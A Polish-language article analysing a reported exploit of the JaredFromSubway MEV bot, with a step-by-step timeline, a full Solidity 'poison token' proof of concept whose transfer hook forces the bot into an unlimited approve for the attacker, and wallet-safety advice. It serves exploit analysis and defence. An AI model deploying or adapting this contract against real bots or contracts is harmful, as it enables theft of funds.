Akcja z JaredFromSubway to nie jest po prostu kolejny zwykły exploit w DeFi – to totalne przetasowanie w „łańcuchu pokarmowym” Ethereum. Przez długi czas boty MEV były uznawane za absolutnych drapieżników alfa w mempoolu, które wykręcały bezryzykowny zysk kosztem zwykłych traderów, używając do tego kosmicznie zaawansowanych symulacji. Jednak ten atak, w którym operatorzy JaredFromSubway popłynęli na ponad 15 milionów dolarów, dobitnie pokazał: automatyzacja bez głębokiej izolacji kontekstu wykonania (execution context) to po prostu wyrok śmierci.
Poniżej znajdziecie szczegółowe techniczne rozbicie tego exploita na czynniki pierwsze, architekturę samego honeypota oraz przykład dziurawego kodu, który zamienił topowego bota handlowego w darmowego dawcę płynności.
Anatomia podatności: Gdzie wyłożył się algorytm Jareda?
Klasyczne boty MEV, które robią sandwich attacki, opierają się na silnikach symulacyjnych off-chain (zazwyczaj są to zmodyfikowane klienty Geth/Erigon). Zanim bot puści paczkę transakcji (bundle) przez Flashbots albo Builder API, lokalnie „przewija” sobie stan EVM. Jeśli z symulacji wychodzi czysty zysk w WETH, transakcje lecą do bloku.
Hakerzy uderzyli w fundamentalną słabość tej logiki – dynamiczne wykonywanie niezweryfikowanego kodu bajtowego (bytecode).
Bot JaredFromSubway optymalizował trasy, żeby jak najbardziej ciąć koszty gasu. Żeby nie stawiać nowego smart kontraktu pod każdy trade, korzystał ze stałego kontraktu-routera, na którym trzymał zakumulowaną płynność i miał poustawiane nielimitowane zgody (infinite approvals) dla puli Uniswap V2/V3. Twórcy bota wyszli z naiwnego założenia, że zewnętrzne tokeny ERC-20 są bezpieczne, o ile zgadza się matematyka bilansu puli przed i po swapie.
Atakujący stworzyli token-pułapkę, którego funkcja transfer/transferFrom miała zaszyty złośliwy ładunek (payload). W momencie, gdy bot wywołał funkcję swap w puli, kontrola nad wykonaniem w EVM przeszła bezpośrednio do kodu trefnego tokena. Zamiast po prostu zaktualizować stany kont w mappingu, token zrobił niskopoziomowe wywołanie (call) zwrotne do kontraktu bota i zmusił go do podpisania approve na kluczowe aktywa (WETH, USDC, USDT) na adres hakera. Symulator bota w ogóle nie wyłapał w tym zagrożenia, bo na etapie lokalnego testu bilans tokenów rósł, a faktyczny odpływ prawdziwej kasy nastąpił dopiero w kolejnym kroku, który bot uznał już za bezpieczny.
Chronologia exploita krok po kroku
1. Przygotowanie infrastruktury i wdrożenie zatrutego tokena
Agenci postawili smart kontrakt tokena i sypnęli płynnością do puli. W środku tokena siedziała customowa logika, która odpalała się tylko wtedy, gdy transakcję inicjował znany adres kontraktu JaredFromSubway.
2. Zarzucenie przynęty (Baiting)
Hakerzy puścili grubą transakcję kupna własnego tokena przez publiczny mempool. Dla algorytmów bota wyglądało to jak idealny cel pod sandwicha: niska płynność w puli, gwarantowany duży poślizg cenowy (slippage) i potężny matematyczny zysk z frontruna.
3. Przejęcie kontroli (The Hijacking)
Bot przechwycił transakcję, skleił paczkę (bundle) i sypnął walidatorowi srogim priority fee, żeby wbić się na sam początek bloku.
[Blok Ethereum] ├── Transakcja 1 (Frontrun): Bot kupuje fake token -> Odpalenie złośliwego payloadu -> Wymuszenie approve() ├── Transakcja 2 (Ofiara): Haker robi zaplanowany swap └── Transakcja 3 (Backrun): Bot próbuje opchnąć token (w tym momencie bez znaczenia)
Gdy pierwsza transakcja uderzyła w pulę, kontrakt tokena przejął wątek wykonania (Execution Flow). Wykorzystując lukę w architekturze routera bota, który na ślepo ufał wywołaniom z tradowanych tokenów, kontrakt hakera zmusił bota do odpalenia:
asset.approve(attacker_address, type(uint256).max).4. Czyszczenie portfeli przez transferFrom
Mając w ręku pełne uprawnienia do dysponowania głównym kapitałem bota, hakerzy nie czekali nawet na koniec bloku. W ramach tej samej akcji (albo sekundę później w kolejnym bloku przy użyciu atomowych paczek), złośliwy kontrakt wywołał funkcję
transferFromna kontraktach WETH, USDC i USDT. Łącznie ze wszystkich powiązanych adresów JaredFromSubway wyciągnięto ponad 15 milionów dolarów, z czego jeden szybki strzał opiewał na 7.5 miliona dolarów.
Analiza porównawcza: Klasyczny sandwich vs Exploit na „Jareda”
| Parametr | Klasyczny sandwich (Jared) | Kontratak hakerów (Honey Pot) |
|---|---|---|
| Cel ataku | Zwykły użytkownik (zlecenie rynkowe) | Bot MEV (zautomatyzowany router) |
| Główne narzędzie | Manipulacja ceną poprzez kolejność transakcji | Wstrzyknięcie złośliwego bajtodu przez ERC-20 |
| Wektor ataku | Wysoki poślizg cenowy (Slippage) tradera | Brak izolacji uprawnień (Approvals) w bocie |
| Rezultat | Bot zgarnia mikro-spready (0.1% - 5%) | Haker czyści całą płynność obrotową bota |
Architektura „Zatrutego Tokena” (PoC Concept)
Poniżej znajduje się kompletny, kompilowalny smart kontrakt w Solidity, który pokazuje czarno na białym, jak konkretny shitcoin może przejąć execution flow i zmusić wywołujący go kontrakt do wystawienia nieskończonych approvali.
Ważne: Ten kod został udostępniony wyłącznie w celach edukacyjnych, aby rozłożyć na czynniki pierwsze dany wektor ataku i pomóc devom w projektowaniu skuteczniejszej ochrony. Nie bądźcie skrypt-kiddies.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
string public name = "HoneyPot MEV Bait";
string public symbol = "BAIT";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public immutable attacker;
address public targetBot;
address public immutable targetAsset; // Np. kontrakt WETH
bool private inAttack;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _targetAsset) {
attacker = msg.sender;
targetAsset = _targetAsset;
totalSupply = 1000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function setTargetBot(address _bot) external {
require(msg.sender == attacker, "Only attacker can set target");
targetBot = _bot;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "ERC20: insufficient allowance");
allowance[from][msg.sender] = allowed - value;
}
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
// Trigger ataku: jesli wywolanie idzie od lub do bota i nie jestesmy jeszcze w petli reentrancy
if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
inAttack = true;
// Wykonujemy wywolanie w stylu reentrancy prosto w kontrakt bota.
// Wykorzystujemy flaw w logice bota, gdzie wykonuje on dowolne low-level calls
// (arbitrary calls) na bazie danych przekazanych mu w trakcie swapu.
// Symulujemy wymuszony approve WETH dla atakujacego.
bytes memory payload = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
type(uint256).max
);
// Bot slepo lyka to wywolanie, bo jego router ufa instrukcjom z kontekstu puli
(bool success, ) = targetBot.call(payload);
require(success, "Exploit execution failed");
inAttack = false;
}
}
}Jak chronić swoje torby: Twarde lekcje bezpieczeństwa dla zwykłego usera
Choć cała ta drama rozegrała się w sandboksie MEV na poziomie „Obcy kontra Predator”, zwykli retailowi gracze mogą wyciągnąć z niej potężną lekcję na temat higieny portfela. Bot JaredFromSubway został doszczętnie zrektowany przez luźne, nieskończone uprawnienia (infinite approvals) – a przecież przeciętny użytkownik Web3 naraża się na dokładnie to samo ryzyko każdego dnia.
Kiedy wchodzisz w interakcję z jakimkolwiek protokołem DeFi (nie ważne, czy robisz swap na Uniswapie, rzucasz trasę przez 1inch, czy skaczesz po rynkach pożyczkowych), twój portfel prosi cię o podpisanie dwóch rzeczy: najpierw transakcji typu Approve (czyli dajesz kontraktowi zielone światło na ruszanie twoich tokenów), a dopiero potem właściwego Swapu lub Depozytu.
Większość dAppsów domyślnie żąda dostępu do nieskończonej liczby twoich tokenów (uint256.max). Robią to dla wygody i UX, żebyś nie musiał palić gasu na świeży approve za każdym razem, gdy zechcesz handlować.
Ale tu jest haczyk: jeśli smart kontrakt danego protokołu zostanie zhakowany (tak jak stało się z routerem Jareda) albo jeśli przez przypadek podpiszesz approve na złośliwej stronie phishingowej, atakujący może w dowolnym momencie wywołać
transferFromi błyskawicznie wyczyścić twój portfel do zera – nawet jeśli twoje tokeny po prostu bezpiecznie leżały sobie na adresie.
Checklista: Jak nie wpaść w pułapkę ukrytych approvali
Ustawiaj niestandardowe limity (Custom Allowance):
Gdy wyskakuje ci okienko
Approvew MetaMasku czy Rabby Wallet, nigdy nie klikaj bezmyślnie „Max”. Ręcznie wpisuj dokładnie taką ilość tokenów, jaką zamierzasz wymienić w tym konkretnym momencie. Jeśli wymieniasz akurat 100 USDC, ustaw limit dokładnie na 100 USDC.Regularnie cofaj pozwolenia:
Wkręć sobie nawyk sprawdzania aktywnych approvali raz w miesiącu. Używaj do tego sprawdzonych narzędzi, takich jak Revoke.cash, albo wskakuj bezpośrednio w zakładkę Token Approvals na block explorerach typu Etherscan.
Wdróż twardą segregację portfeli:
Trzymaj lwią część swojego kapitału na zimnym portfelu sprzętowym (hardware wallet), który w ogóle nigdy nie dotyka smart kontraktów ani niczego nie podpisuje. Do codziennego tradingu, mintowania NFT czy degenowania na shitcoinach używaj „gorącego” portfela (burner wallet) z minimalnym balansem, który możesz spisać na straty, jeśli natkniesz się na brudną pulę lub exploit typu reentrancy.